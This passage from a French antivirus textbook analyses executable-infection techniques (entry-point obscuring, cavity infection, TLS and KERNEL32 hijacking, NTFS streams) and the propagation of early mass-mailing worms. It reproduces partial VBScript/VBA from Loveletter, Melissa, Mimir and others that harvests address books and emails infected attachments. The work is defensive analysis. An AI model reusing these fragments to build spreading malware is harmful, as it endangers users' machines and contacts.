• Les uns modifient l’adresse du point d’entrée du programme vers leur propre code. • Les autres remplacent directement quelques octets au point d’entrée pour permettre au programme un saut, plus ou moins rapide, vers le code viral. Afin de parfaire leur camouflage, certains virus cherchent à placer ce saut, loin du point d’entrée, en le noyant dans le code légitime du programme qu’il souhaite infecter. Il s’agit alors de la méthode du point d’entrée obscur telle que le pratique le virus W32/Forforo.B. Nous allons examiner les conséquences d’une telle attaque sur notre fichier leurre qui, avant infection, possède les caractéristiques suivantes : Offset du point d’entrée EP-RVA: 11B0h Adresse physique de ce point d’entrée: 5B0h Point d’entrée localisé en première section (.text) Adresse physique de la première section: 0400h Adresse physique de la dernière section: 7C00h
Après avoir été infecté, le fichier a augmenté en taille. Il est passé de 32 768 octets à 39 839 octets. Il se retrouve modifié de la manière suivante (cf. tableau 5.9) : Tableau 5.9 — Principales modifications d’un fichier après une infection par Fosforo
© Dunod – La photocopie non autorisée est un délit
Adresse Physique
Avant infection
Après infection
Remarques
12h
00h
55h
Marqueur d’infection
D0h
0000C3FEh
0001A000h
Taille du programme [PE + 50h]
220h
000003FEh
00003FE0h
Taille virtuelle de la dernière section
228h
00000400h
00010000h
Taille physique de la dernière section
23Ch
40000042h
400000C2h
Caractéristiques de la dernière section
4B1h
FF15B0B04000h
FF157FC54000h
Point d’entrée obscur
L’examen du code au point d’entrée obscur nous montre le changement suivant : Avant : FF15B0B04000 Après : FF157FC54000
call call
GetCurrentProcess ;KERNEL32.DLL d, [0040C57F]
L’appel (call) système GetCurrentProcess a été remplacé par un appel pointant sur une adresse inscrite dans la dernière section qui a, rappelons le, les caractéristiques suivantes : Adresse virtuelle : C000h (0040C000h) Taille virtuelle : 3FE0h
PAGET_Ch05 Page 186 Lundi, 11. avril 2005 5:24 17
186
Chapitre 5. Les virus programme
On retrouve effectivement à l’adresse indiquée la valeur 0040C583h qui pointe, 4 octets plus loin, au début du code viral. .004011B0: 64A100000000 mov eax,fs:[00000000] (EP-RVA) .004011B6: 55 push ebp .004011B7: 8BEC mov ebp,esp ... ... .004010B0: 56 push esi .004010B1: FF157FC54000 call d,[0040C57F] (saut vers code viral) .004010B7: 50 push eax .004010B8: FF15ACB04000 call TerminateProcess ;KERNEL32.DLL .004010BE: C705A486400001000000 mov d,[004086A4],000000001 ------------------------------------------------------------------------------.0040C57F: 83C54000 .0040C583: 9C pushfd (début code viral) .0040C584: 60 pushad .0040C585: EB7A jmps .00040C601 ... ...
Celui ci s’exécutera avant de finir son processus en redirigeant et en rétablissant en mémoire le branchement sur l’appel système original. Le programme pourra ainsi se poursuivre de la même manière qu’avant l’infection. Le seul écueil de ce type d’attaque est un mauvais positionnement du saut (le point d’entrée obscur). Si celui ci se trouve inscrit dans une portion de code rarement, voire jamais, exécuté, le virus ne se propagera pas autant que son auteur l’aurait souhaité. Moins d’une quarantaine de virus utilisent cette technique. Elle oblige, en théorie, les anti-virus à élargir leur fenêtre d’analyse à la totalité de la section contenant le point d’entrée. Fort heureusement, une analyse rigoureuse de chaque virus permet généralement de réduire la zone de recherche et donc, le temps de traitement. Le tableau 5.10 cite quelques virus utilisant la technique du point d’entrée obscur et la méthode de « saut » qu’ils utilisent. Tableau 5.10 — Quelques virus utilisant la technique du point d’entrée obscur W95/Babylonia
E8 xx xx xx xx (CALL : appel direct long inter-segment)
W32/Bagif
E8 xx xx xx xx (CALL : appel direct long inter-segment) E9 xx xx xx xx (JMP : saut direct long inter-segment)
W32/CTX
E8 xx xx xx xx (CALL : appel direct long inter-segment) E9 xx xx xx xx (JMP : saut direct long inter-segment)
W32/Chiton
BB xx xx xx xx (MOV)
W32/Deemo
E8 xx xx xx xx (CALL : appel direct long inter-segment)
PAGET_Ch05 Page 187 Lundi, 11. avril 2005 5:24 17
187
5.2 L’environnement 32 bits
W32/Etap
FF 25 xx xx xx FF 35 xx xx xx inter-segment) E8 xx xx xx xx E9 xx xx xx xx 68 xx xx xx xx
xx (JMP : saut indirect long inter-segment) xx (PUSH : empilage d’une donnée mémoire (CALL : appel direct long inter-segment) (JMP : saut direct long inter-segment) c3 (PUSH : empilage d’une valeur)
W32/Fosforo
FF 15 xx xx xx xx (CALL : appel indirect long inter-segment)
W32/Gobi
FF 15 xx xx xx xx (CALL : appel indirect long inter-segment) 68 xx xx xx xx c3 (PUSH : empilage d’une valeur)
W32/LDE
E8 xx xx xx xx (CALL : appel direct long inter-segment)
W95/Legacy
E9 xx xx xx xx (JMP : saut direct long inter-segment)
W32/LME
E9 xx xx xx xx (JMP : saut direct long inter-segment)
W32/MTX
FF 15 xx xx xx xx (CALL : appel indirect long inter-segment)
W32/Rads
E8 xx xx xx xx (CALL : appel direct long inter-segment)
W95/Rainsong
E8 xx xx xx xx (CALL : appel direct long inter-segment)
W95/Tolone
E8 xx xx xx xx (CALL : appel direct long inter-segment)
W32/Wratch
68 xx xx xx xx c3 (PUSH : empilage d’une valeur)
W32/Zexam
E8 xx xx xx xx (CALL : appel direct long inter-segment)
Technologie a cavité
© Dunod – La photocopie non autorisée est un délit
Nous allons examiner ici le cas de W32/Orez.5780 qui allie cette technique à celle du point d’entrée obscur. Le virus ne modifie pas le point d’entrée (EP-RVA) mais recherche un endroit pour positionner son saut vers le code viral. Lorsque la structure du programme le permet, le virus est capable de disséminer une routine de décryptage polymorphique. Elle est constituée d’instructions uniques que le virus raccorde par des sauts successifs. Regardons l’action du virus sur le fichier MM2ENT.EXE (source Windows-98). Avant infection, et entre les offsets 1500h et 1660h, le code se présente ainsi : 001500 001510 001520 001530 001540 001550 001560 001570 001580 001590
8B 45 5E 83 24 FF A1 68 40 8B
65 FC 5B 3D 04 15 F4 08 00 44
E8 FF 8B 3C 50 38 61 40 68 24
8B FF E5 40 E8 40 40 40 00 04
45 FF 5D 40 F8 40 00 00 40 6A
E0 FF C3 00 0E 00 85 E8 40 00
50 8B CC 01 00 83 C0 D6 00 6A
E8 45 CC 75 00 C4 74 00 E8 00
A4 F0 CC 05 83 04 02 00 C4 50
00 5F CC E8 C4 C3 FF 00 00 E8
00 64 CC C2 04 CC D0 83 00 32
00 A3 CC 0E 68 CC 68 C4 00 00
83 00 CC 00 FF CC 10 08 83 00
C4 00 CC 00 00 CC 40 68 C4 00
04 00 CC 8B 00 CC 40 04 08 83
C7 00 CC 44 00 CC 00 40 C3 C4
PAGET_Ch05 Page 188 Lundi, 11. avril 2005 5:24 17
188
Chapitre 5. Les virus programme
0015A0 0015B0 0015C0 0015D0 0015E0 0015F0 001600 001610 001620 001630 001640 001650 001660
0C 8B 0C C7 56 61 35 EE 14 00 75 56 85
C3 44 C3 05 8B 40 F8 04 40 68 0B 57 C0
CC 24 CC 88 5C 00 61 3B 40 20 8B 8B 74
CC 04 CC 40 24 00 40 35 00 40 44 74 02
CC 6A CC 40 14 74 00 F8 E8 40 24 24 FF
CC 00 CC 00 88 24 72 61 27 00 0C 10 D0
CC 6A CC 01 1D 8B 13 40 00 E8 50 8B 83
CC 01 CC 00 84 35 8B 00 00 15 FF 7C C7
CC 50 CC 00 40 F0 06 73 00 00 15 24 04
CC E8 CC 00 40 61 85 ED 83 00 80 0C 3B
CC 12 CC 83 00 40 C0 68 C4 00 71 3B F7
CC 00 CC 7C 75 00 74 1C 08 83 40 F7 77
CC 00 CC 24 3F 83 02 40 68 C4 00 76 F1
CC 00 CC 08 83 EE FF 40 24 08 5E 0F 5F
CC 83 CC 00 3D 04 D0 00 40 85 5B 8B 5E
CC C4 CC 53 F8 3B 83 68 40 DB C3 07 C3
On retrouve dans cette parcelle de code des zones inutilisées. Elles sont occupées par des séquences hexadécimales de type CCh (en gras et souligné). On remarque également un appel indirect long inter-segment. FF 15 80 71 40 00
call
Exit Process
; Kernel32.dll
Après infection, cette zone a fait l’objet de nombreux changements : 001500 001510 001520 001530 001540 001540 001550 001560 001570 001580 001590 0015A0 0015B0 0015C0 0015D0 0015E0 0015F0 001600 001610 001620 001630 001640 001650 001660
8B 45 5E 83 24 24 FF A1 68 40 8B 0C 8B 0C C7 56 61 35 EE 14 00 75 56 85
65 FC 5B 3D 04 04 15 F4 08 00 44 C3 44 C3 05 8B 40 F8 04 40 68 0B 57 C0
E8 FF 8B 3C 50 50 38 61 40 68 24 8B 24 81 88 5C 00 61 3B 40 20 8B 8B 74
8B FF E5 40 E8 E8 40 40 40 00 04 0A 04 E9 40 24 00 40 35 00 40 44 74 02
45 FF 5D 40 F8 F8 40 00 00 40 6A E9 6A BB 40 14 74 00 F8 E8 40 24 24 FF
E0 FF C3 00 0E 0E 00 85 E8 40 00 19 00 CA 00 88 24 72 61 27 00 0C 10 D0
50 8B BA 01 00 00 83 C0 D6 00 6A 00 6A ED 01 1D 8B 13 40 00 E8 50 8B 83
E8 45 00 75 00 00 C4 74 00 E8 00 00 01 56 00 84 35 8B 00 00 15 E9 7C C7
A4 F0 90 05 83 83 04 02 00 C4 50 00 50 E9 00 40 F0 06 73 00 00 48 24 04
00 5F 40 E8 C4 C4 C3 FF 00 00 E8 CC E8 35 00 40 61 85 ED 83 00 FD 0C 3B
00 64 00 C2 04 04 49 D0 83 00 32 CC 12 03 83 00 40 C0 68 C4 00 FF 3B F7
00 A3 E9 0E 68 68 E9 68 C4 00 00 CC 00 00 7C 75 00 74 1C 08 83 FF F7 77
83 00 72 00 FF FF EA 10 08 83 00 CC 00 00 24 3F 83 02 40 68 C4 00 76 F1
C4 00 00 00 00 00 03 40 68 C4 00 CC 00 CC 08 83 EE FF 40 24 08 5E 0F 5F
04 00 00 8B 00 00 00 40 04 08 83 CC 83 CC 00 3D 04 D0 00 40 85 5B 8B 5E
C7 00 00 44 00 00 00 00 40 C3 C4 CC C4 CC 53 F8 3B 83 68 40 DB C3 07 C3
L’appel à la fonction Exit Process a été remplacé par un saut. Il s’agit du point d’entrée obscur. Dans le cas présent, il ne pointe pas, comme à l’habitude, vers la dernière section du fichier. Il redirige le programme vers une zone non utilisée telle que celles décrites plus haut. Cette zone contient une instruction et un autre saut. L’instruction fait parti de la routine polymorphe, le saut qui la suit permet d’aller à l’instruction suivante.
PAGET_Ch05 Page 189 Lundi, 11. avril 2005 5:24 17
189
5.2 L’environnement 32 bits
L’étude complète du code nous permet de découvrir la routine reprise ci-dessous. Pour en faciliter la compréhension, les sauts intermédiaires ont été omis. On retrouve en gras, les codes apparaissant dans le contenu du dump ci-dessus. 001647 001394 001526 0015A2 0015C2 001902 001CA2 0022F3 002664 0023F8 00155A 00194A 002648 0026C5 002762 002794 0027C1 002884 0029F4 002A31
Jmp pushad mov mov sub not sub ror add neg dec inc neg add not not mov add jne jmp popad push retn
00401394 (E9 48 FD FF FF) edx,000409000 ecx,[edx] ecx,056EDCABB ecx ecx,0CB674E3B ecx,013 acx,063517E2A ecx ecx ecx ecx ecx,03DF9C772 ecx ecx [edx],ecx edx,004 15A2 2A31 000409000
Infection TLS
© Dunod – La photocopie non autorisée est un délit
Cette technique est utilisée par quelques virus de la famille W32/Chiton. Elle est simple mais n’a pourtant été rencontrée qu’à compter de l’année 2002. Il existe dans l’entête optionnelle à l’adresse [PE + C0h] une entrée peut usitée et définie en anglais comme RVA Thread Local Storage. Cette zone permet de gérer des applications dans lesquelles, il n’y a pas un, mais plusieurs fils d’exécution (les threads) qui doivent partager les mêmes données globales. Le stockage local permet à chaque thread d’avoir sa propre copie de données. Dans la majorité des cas l’adresse de la zone mémoire qui en permet la gestion est maintenue à 00h. Si celle ci pointe vers une zone de code, celui-ci sera exécuté à l’ouverture du programme en complément du code principal. Dans le cas des variantes de W32/Chiton, le code viral est ajouté en fin de dernière section. L’adresse du premier octet est simplement inscrite dans l’entête optionnelle à [PE + C0h].
Infection de KERNEL32.DLL W32/Kriz.4092 est un virus polymorphe qui infecte les fichiers EXE au format PE. Il attaque également les API du noyau Windows KERNEL32.DLL. Pour faire cela, le virus détourne 16 fonctions en modifiant les adresses de la table Export. Les valeurs originales sont sauvegardées pour permettre un passage de main vers celles-ci une fois le code viral exécuté.
PAGET_Ch05 Page 190 Lundi, 11. avril 2005 5:24 17
190
Chapitre 5. Les virus programme
Le code ci-dessous reprend une partie de la table Export d’un fichier KERNEL32.DLL : 050480 050490 0504A0 0504B0 0504C0 0504D0 0504E0 0504F0 050500 050510 050520 050530 050540 050550 050770 050780 050790 0507A0 0507B0 050AE0 050AF0 050B00 050B10 050B20
F9 A6 E3 82 A6 56 D3 DC B6 1C 40 C5 2A 4C 94 93 C4 39 B5 3C FC 4C 67 3C
5B 90 14 90 90 72 90 90 5D 76 15 5B 5A 90 90 AB AE CF 6F 1A 1A C3 90 91
02 03 03 03 03 00 03 03 03 00 03 02 02 03 03 01 02 02 00 00 00 03 03 04
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
43 67 67 FC C1 82 D3 C1 8B A6 67 AD 31 4C 1B 28 63 67 60 94 B3 BF 4C CA
49 90 90 5A 90 90 90 90 90 90 90 15 90 90 79 90 06 90 71 1A 1A C3 90 75
01 03 03 02 03 03 03 03 03 03 03 03 03 03 00 03 03 03 00 00 00 03 03 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
D4 1D 4C DF 82 5E C4 F1 6A 5F 73 31 A1 7E 31 4A F9 43 85 A3 97 FC 3F 67
15 26 90 7A 90 75 0B 75 6F 47 AF 90 0B B9 90 0F 06 90 58 1A 20 15 32 90
03 03 03 00 03 00 03 00 00 02 02 03 03 00 03 03 03 03 00 00 01 03 02 03
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
A6 41 94 9E CF 67 45 82 AB A4 D1 A5 0F 5A 93 67 34 8A 94 16 6E 24 85 5E
90 7F 75 76 06 90 77 90 B9 68 AB 70 09 68 AB 90 7B C5 7A 1F 1E 16 7D 0D
03 00 00 00 03 03 00 03 03 00 01 00 03 04 01 03 00 02 00 00 01 03 00 03
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Une fois le fichier infecté, ces valeurs sont remplacés par un appel au code viral. À titre exemple, on retrouve entre les offsets 50AE0h et 50B20h le code suivant : 050AE0 050AF0 050B00 050B10 050B20
3C FC 4C AA 3C
1A 1A C3 38 91
00 00 03 07 04
00 00 00 00 00
94 B3 BF A6 CA
1A 1A C3 38 75
00 00 03 07 00
00 00 00 00 00
A3 97 86 3F 67
1A 20 38 32 90
00 01 07 02 03
00 00 00 00 00
16 6E 8A 85 5E
1F 1E 38 7D 0D
00 01 07 00 03
00 00 00 00 00
Il est possible de remarquer que ces 4 adresses pointent au même endroit. Une fois détecté – le virus étant crypté et polymorphe – il faut décrypter le code viral. Ceci fait, on retrouve 2 tables qui contiennent les données écrasées. L’une contient les adresses et l’autre les données associées. 000BA0 000BB0 000BC0 000BD0 000BE0
D4 15 03 00 34 7B 00 00 67 90 03 00 43 90 03 00
000C40 000C50 000C60 000C70 000C80
00 00 00 00
34 08 38 0C
05 0D 05 0D
05 05 05 05
00 00 00 00
DF FC C1 4C
7A 15 90 90
00 03 03 03
00 00 00 00
45 24 DC 67
77 16 90 90
00 03 03 03
00 00 00 00
AD 14 31 4C
15 7B 90 90
03 00 03 03
88 04 05 00 9C 07 05 00 94 04 05 00 A8 07 05 00
00 00 00 00
B8 08 C4 14
04 0B 04 0B
05 05 05 05
00 00 00 00
EC 0C F0 10
04 0B 04 0B
05 05 05 05
PAGET_Ch05 Page 191 Lundi, 11. avril 2005 5:24 17
5.2 L’environnement 32 bits
191
Dans le cas ci-dessus, ces adresses sont directement réutilisables pour l’éradication. Dans certains cas un traitement complémentaire est nécessaire. Si le fichier contient une section .edata, un paramètre doit être ajouté avant restitution : Param = RVA(.edata) – Adresse Phys.(.edata)
Infection par Stream NTFS Dans une partition de type NTFS, tout fichier peut contenir, en plus des données qui le constituent réellement, des flux d’informations complémentaires. Les quelques virus qui ciblent les fichiers se trouvant dans un environnement NTFS utilisent ces chaînes de données (ou streams) cachées. Le premier ayant utilisé cette technique fut W2K/Stream en septembre 2000. En août 2003, un mass-mailer, W32/Dumaru.A@MM, tentait lui aussi d’exploiter les spécificités de cet environnement. Après ce type d’infection, une analyse rapide du disque montre que certains fichiers (tels que NOTEPAD.EXE, WINHELP.EXE, etc.) ont été écrasés et remplacés par le code du virus. Tous les fichiers infectés ont en effet une taille identique – celle du ver. Dans le cas de Dumaru, la taille est de 9.240 octets. Agissant comme un virus compagnon, le code du fichier original est caché dans une chaîne de données associée au nom du fichier infecté. Via le code viral qui s’exécute préalablement, c’est donc également le fichier original qui est exécuté si celui ci est appelé. Toute personne possédant un environnement NTFS peut s’essayer à manipuler les streams.
© Dunod – La photocopie non autorisée est un délit
• • • •
Dans une fenêtre DOS, lancer l’éditeur de fichier : notepad mon_fichier.txt. Entrer un texte du type Bonjour, je m’appelle François. Sauver et quitter. Dans cette même fenêtre DOS, lancer à nouveau l’éditeur : notepad mon_fichier.txt:mon_stream. • La fenêtre d’édition est vide. Il s’agit d’un nouveau fichier. Entrer un texte quelconque du type ceci est mon secret. • Sauver et quitter. • Ouvert à nouveau, le fichier mon_fichier.txt ne laisse apparaître que le texte initial. Le second est fichier est pourtant toujours là comme vous pouvez le constater en exécutant à nouveau : notepad mon_fichier.txt:mon_stream. Un tel flux additionnel est inerte, et ne peut pas être directement exécuté. Dans l’optique d’une utilisation malicieuse, cette restriction est facilement contournable. La recherche des streams secrètes nécessite l’utilisation d’outils spécifiques. Le logiciel gratuit StreamFind est l’un d’entre eux.
PAGET_Ch05 Page 192 Lundi, 11. avril 2005 5:24 17
PAGET_Ch06 Page 193 Lundi, 11. avril 2005 5:24 17
6 Les vers
Qu’ils soient virus système ou programme, les infections informatiques détaillées dans les deux chapitres précédents s’accomplissaient sur des machines isolées. Le saut d’une machine vers une autre était le résultat d’une action humaine involontaire mais bien réelle. Avec les vers, nous allons maintenant rentrer dans l’univers des réseaux et présenter des programmes capables de se propager de machine en machine de manière indépendante. Tout au long de ce chapitre nous allons en découvrir de nombreux types. Nous les classifierons et les détaillerons selon le langage dont ils sont issus puis selon leur méthode de propagation.
6.1 ACTIVATION La méthode la plus simple consiste à convaincre l’utilisateur. La technique employée est celle du social engineering. Elle doit amener celui-ci à ouvrir la pièce jointe. Les recettes sont infinies : • un message urgent arrive en provenance de l’une de vos connaissances (W97M/Melissa@MM) : Attached is an important message for you. • quelqu’un flatte votre vanité (VBS/LoveLetter@MM) : Open this message to see who loves you. • une bonne affaire vous est proposée (W32/Benjamin.worm) : Download this file to get copyrighted material for free.
PAGET_Ch06 Page 194 Lundi, 11. avril 2005 5:24 17
194
Chapitre 6. Les vers
Plus subtil, certains virus se contentent d’une simple prévisualisation pour infester la machine. Ils utilisent pour cela diverses vulnérabilités dont la plus courante est référencée MS01-0201. Le message est au format HTML ; la structure de son entête entraîne l’exécution du code malicieux dès que son destinataire en prend une connaissance sommaire au travers du panneau de prévisualisation de certains outils de messagerie (exemple W32/Badtrans@MM). L’imprudence humaine est donc la cause première de la réussite de l’attaque. Il existe cependant d’autres types d’activation qui permettent au ver de s’infiltrer de lui-même au sein des machines non protégées : • Par scanning séquentiel ou aléatoire à la recherche de machines vulnérables (exemple W32/Code-Red.worm). • Par l’utilisation d’une liste pré-établie. • Par auto génération de listes au travers de méta-serveurs de jeux. • Par technique topologique : analyse de l’environnement de la machine infectée. • De manière passive, en attendant qu’une victime se manifeste.
6.2 CLASSIFICATION S’ils ne sont ni des macro-virus, ni des virus de script, les vers peuvent être classifiés en fonction du compilateur qui a permis leur création ou selon leur méthode de réplication. L’étude des similitudes permet ensuite la mise en œuvre de procédures de détection heuristique.
6.2.1 Langage interprète La notoriété conjointe de W97M/Melissa.A@MM et de VBS/Loveletter.A@MM a longtemps mis ces virus sur le devant de la scène. Ils ciblent toujours un outil de messagerie précis. Il s’agit généralement d’Outlook ou d’Outlook Express.
Prévisualisation L’exploitation de la vulnérabilité MS99-0322 liée à Internet Explorer permit à un petit nombre de virus d’agir sur simple prévisualisation. Le plus commun fut sans conteste JS/Kak@M avec Outlook Express 5.0. La prévisualisation entraînait la création d’un fichier kak.hta dans le répertoire de démarrage. Celui ci s’exécutait à la prochaine mise en route de la machine. Il modifiait alors la configuration de l’outil de messagerie en définissant comme signature par défaut un fichier contenant le code viral (kak.htm). C’est ce fichier qui contenait le code lié à 1. MS01-020 : malformed MIME exploit. 2. MS99-032 : scriptlet.typelib/Eyedog" Vulnerability.
PAGET_Ch06 Page 195 Lundi, 11. avril 2005 5:24 17
195
6.2 Classification
la vulnérabilité. En temps que signature par défaut, il se retrouvait automatiquement ajouté à la fin de tout courrier de format HTML émis. MÉTHODE
CIBLE
Vulnérabilité Internet Explorer scriptlet.typelib/Eyedog
Outlook-Express 5
EXEMPLE DE VIRUS
DATE
VBS/BubbleBoy.B@MMa
11/99
JS/Kak@Mb
10/99
a. Sous Outlook, Bubbleboy se propage également de manière standard sur une ouverture par double-clic. b. SVAJCER Vanja, 2000, Kak-astrophic? Virus Bulletin. Mars 2000. p 7.
Sendkeys La commande Sendkeys (EnvoiTouches) est liée au langage de macros. Elle permet de procéder à l’envoi de caractères depuis le clavier comme si l’utilisateur s’en chargeait de lui-même. Avec cette méthode il fut un temps possible de calquer les commandes d’un utilisateur et d’automatiser l’envoi de courriers infectés. MÉTHODE Sendkeys
CIBLE
EXEMPLE DE VIRUS
DATE
MAPI (Microsoft Mail)
WM/Sharefun.A@MMa
02/97
Forte Agent – Usenet
W97M/PolyPoster.A@MMb (Lord Natas/CodeBreakers)
08/98
Outlook Express
W97M/AntiMarc@MM (Lord Natas/CodeBreakers)
09/98
© Dunod – La photocopie non autorisée est un délit
a. VB, 1997, Share and Share Alike, Virus Bulletin. Avril 1997 -pp 10-11. b. Tocheva Katrin,. 2001, Worming the Internet – Part 1, Virus Bulletin. Octobre 2001. pp 14-15.
À titre d’exemple on trouvera ci-dessous quelques lignes de codes liées à AntiMarc : SendKeys SendKeys SendKeys SendKeys […] SendKeys SendKeys SendKeys […] SendKeys […] SendKeys SendKeys SendKeys
"{TAB}", -1 "+({DOWN 20})", -1 "%T", -1 "M", -1 "{TAB}", -1 "{TAB}", -1 "{TAB}", -1 R, -1 "%I", -1 "A", -1 sName, -1
PAGET_Ch06 Page 196 Lundi, 11. avril 2005 5:24 17
196
Chapitre 6. Les vers
SendKeys SendKeys SendKeys SendKeys
"{ENTER}", -1 "{TAB}", -1 "J97Z/nagvZNEP ol Ybeq Angnf [Pbqroernxref 98]", -1 "%S", -1
CreateObject Avec les systèmes d’exploitation Windows, la fonction CreateObject permet à deux applications distinctes de communiquer entre elles. Disponible avec VBS et VBA, elle renouvela, en 1998, la création d’infecteurs multi plateformes. Alors que O97M/Shiver utilise l’échange dynamique de données1 entre Word97 et Excel97, O97M/Tristate s’appuie sur le mécanisme normalisé COM2. Manipulant les objets Active-X, CreateObject permit la commutation triangulaire pour les trois applications MS Word97, Excel97 et Powerpoint97. En voici le principe : Set WordObj = GetObject(, "Word.Application") If WordObj = "" Then Set WordObj = CreateObject("Word.Application") WQuit = True End If […] Set PPObj = CreateObject("PowerPoint.Application") […] Set xlApp = CreateObject("Excel.Application")
W97M/ColdApe.A fut découvert à la même époque (novembre 1998). Ce fut le premier virus établissant une interconnexion entre langage VBS et VBA3. Ce fut aussi le premier virus utilisant la fonction CreateObject pour émettre un courrier électronique. Il ne s’agissait pas encore d’un mass-mailer ; le virus créait un fichier VBS utilisé ensuite pour l’envoi de courrier indésirable à une adresse précise (celle de Nick FitzGerald alors éditeur du Virus Bulletin). En voilà un apercu de la méthode : Set IPSocket = CreateObject("MSWinsock.Winsock") IPADDY = IPSocket.LocalIP set BOB = CreateObject("Wscript.Network") […] Set theApp = WScript.CreateObject("Outlook.Application") Set theNameSpace = theApp.GetNameSpace("MAPI") theNameSpace.Logon "profile", "password" Set theMailItem = theApp.CreateItem(0) theMailItem.Recipients.Add EMADDY theMailItem.Subject = BOB.Username theMailItem.Body = MSGBDY theMailItem.Send theNameSpace.Logoff
1. DDE – Dynamic Data Exchange. 2. COM – Component Object Model. 3. Tocheva Katrin,. 2001, Worming the Internet – Part 1, Virus Bulletin. Octobre 2001. pp 14-15.
PAGET_Ch06 Page 197 Lundi, 11. avril 2005 5:24 17
197
6.2 Classification
La fonction CreateObject fut pour la première fois utilisée à des fins de massmailer avec le virus W97M/Nail@MM. Plusieurs techniques furent ensuite mises au point. MÉTHODE CreateObject
CIBLE
EXEMPLE DE VIRUS
DATE
("MAPI.Session") & .AddressLists
W97M/Nail.A@MM
03/99
("Outlook.application") & .GetDefaultFolder
W97M/Mimir.A@MM
05/99
("Outlook.application") & .AddressLists
W97M/Melissa.A@MM X97M/Papa.B@MM
03/99 04/99
PDF
VBS/Peachy@MM
08/01
MAPI&AddressLists Avec le virus Nail, la méthode utilisée était MAPI&AddressLists. L’auteur souhaitait ainsi s’affranchir de l’outil de messagerie et être à même d’envoyer des courriels pour peu que le client soit compatible avec le protocole MAPI1:
© Dunod – La photocopie non autorisée est un délit
Set MAPISess = CreateObject("MAPI.Session") MAPISess.Logon […] For Each AdrEntry In MAPISess.AddressLists(1).AddressEntries Set Recp = objRecipients.Add(Name:=AdrEntry.Address, Type:=3) GInfo = GInfo + AdrEntry.Address + ";" Next […] MAPISess.Logoff
Ce virus était également particulier quant à son mode de propagation. Le code VBA était disponible au travers d’un modèle de fichier présent sur un site Web particulier (sourceofkaos.com).Il était référencé comme modèle distant au sein des fichiers locaux infectés. Le but recherché était peut être la diffusion de mises à jours ou de variantes de ce code.
Outlook&AddressLists La méthode précédente fut peu employée et l’appel direct à Outlook devint vite la manière la plus répandue d’envoyer des mails. Ce fut la technique employée par les virus tels que Melissa, Loveletter et Homepage. Elle fut non seulement copiée et adaptée de nombreuses fois, mais également disponible au travers de générateurs de virus tels que ceux de la famille VBSWG. La procédure suivante est issue de la variante A de VBS/Loveletter@MM : • Création d’un objet "Outlook.Application" destiné à contrôler Outlook : set out=WScript.CreateObject("Outlook.Application")
1. MAPI – Mail Application Programming Interface.
PAGET_Ch06 Page 198 Lundi, 11. avril 2005 5:24 17
198
Chapitre 6. Les vers
• Recherche des destinataires dans le carnet d’adresse : set mapi=out.GetNameSpace("MAPI") for ctrlists=1 to mapi.AddressLists.Count set a=mapi.AddressLists(ctrlists) malead=a.AddressEntries(x)
• Création d’un nouveau message : set male=out.CreateItem(0)
• Puis, pour chaque destinataire : male.Recipients.Add(malead)
• Ajout de la pièce jointe : male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
• Envoie du courrier : - male.Send
Quelques virus associèrent à cette méthode des scénarios surprenants. Citons comme premier exemple, VBS/Vierika. Il arrivait par e-mail sous la forme d’une petite pièce jointe de 333 octets. Elle ne contenait pas le code viral mais un lien vers une page Web ou celui ci était encapsulé (http://www.geocities.com/msxxl/ Vindex2.html). Le virus déclarait cette page comme page de démarrage par défaut puis modifiait la base de registres afin de diminuer le niveau de sécurité d’Internet Explorer. Ce double changement de paramètres permettait l’exécution en local du code viral distant dès l’ouverture d’Internet Explorer. De son coté, VBS/Loding n’expédiait aucune pièce jointe. Le message contenait un lien Internet que le destinataire était invité à aller découvrir. Si celui ci possédait Internet Explorer 4 configuré avec le niveau de sécurité par défaut (c’est-à-dire Moyen) et s’il décidait de double-cliquer sur le lien, le code du virus, combinaison de JavaScript et de Visual Basic Script s’exécutait. Il s’agissait ici de la vulnérabilité MS00-0751. Elle entraînait la réexpédition du mail à l’ensemble des contacts listés dans le carnet d’adresse
Outlook&GetDefaultFolder GetDefaultFolder est une autre méthode associée à la fonction CreateObject. Elle est peu commune mais fut utilisée avec succès pour les virus W97M/Mimir et W97M/ Lucia. Avec Mimir, elle se décline de la manière suivante : • Création d’un objet "Outlook.Application" destiné à contrôler Outlook : Set MAkeNewEmail = CreateObject("outlook.application")
• Création d’un nouveau message : Set NEwEmail = MAkeNewEmail.CreateItem(olMailItem) 1. MS00-075 – Microsoft VM ActiveX Component.
PAGET_Ch06 Page 199 Lundi, 11. avril 2005 5:24 17
199
6.2 Classification
• Recherche des destinataires dans le carnet d’adresse : Set mimirnamespace = MAkeNewEmail.GetNamespace("MAPI") SetObjectContactfolder= mimirnamespace.GetDefaultFolder(olFolderContacts)
• Puis, pour chaque destinataire : For Each ObjectContact In ObjectContactfolder.Items TheEmailAdress = ObjectContact.Email1Address
• Ajout de la pièce jointe : .Attachments.Add Word.ActiveDocument.FullName
• Envoie du courier : .Send
W97M/Lucia pratique de la même manière, cependant, les destinataires ne sont pas recherchés dans l’onglet contact d’Outlook mais dans l’onglet Sentmail : Set A = CreateObject("Outlook.Application") Set U = A.GetNamespace("MAPI"): Set M = U.GetDefaultFolder(5) For I = 1 To M.Items.Count
Méthode PDF Découvert en août 2001, VBS/Peachy@MM démontre que la plate-forme Adobe PDF1 peut être affectée par un virus.
© Dunod – La photocopie non autorisée est un délit
Il s’agit en fait d’un simple virus en VBScript qui utilise la méthode CreateObject pour ouvrir Outlook. Mais dans ce cas, le fichier VBS est encapsulé dans un fichier PDF qui est attaché au corps du message en temps que pièce jointe. Le ver s’active si celle-ci est ouverte dans la mesure ou une version complète d’Adobe Acrobat est installée sur la machine. Cette dernière condition étant rarement remplie, le ver n’est qu’une preuve par l’exemple qui est bien souvent incapable de se propager.
Méthode Pegasus Peu de virus se propagent au travers de l’application Pegasus. MÉTHODE Par ajout dans les fichiers *.pmw
CIBLE Pegasus
EXEMPLE DE VIRUS W97M/Moridin@MM (Asmodeus IKX)
DATE 08/98
Outre l’exécutable compilé HLLP.Toadie@MM, citons pour le langage interprété W97M/Jim@MM et W97M/Moridin@MM. Le second est en fait une version corrigée
1. PDF – Portable Document Format.
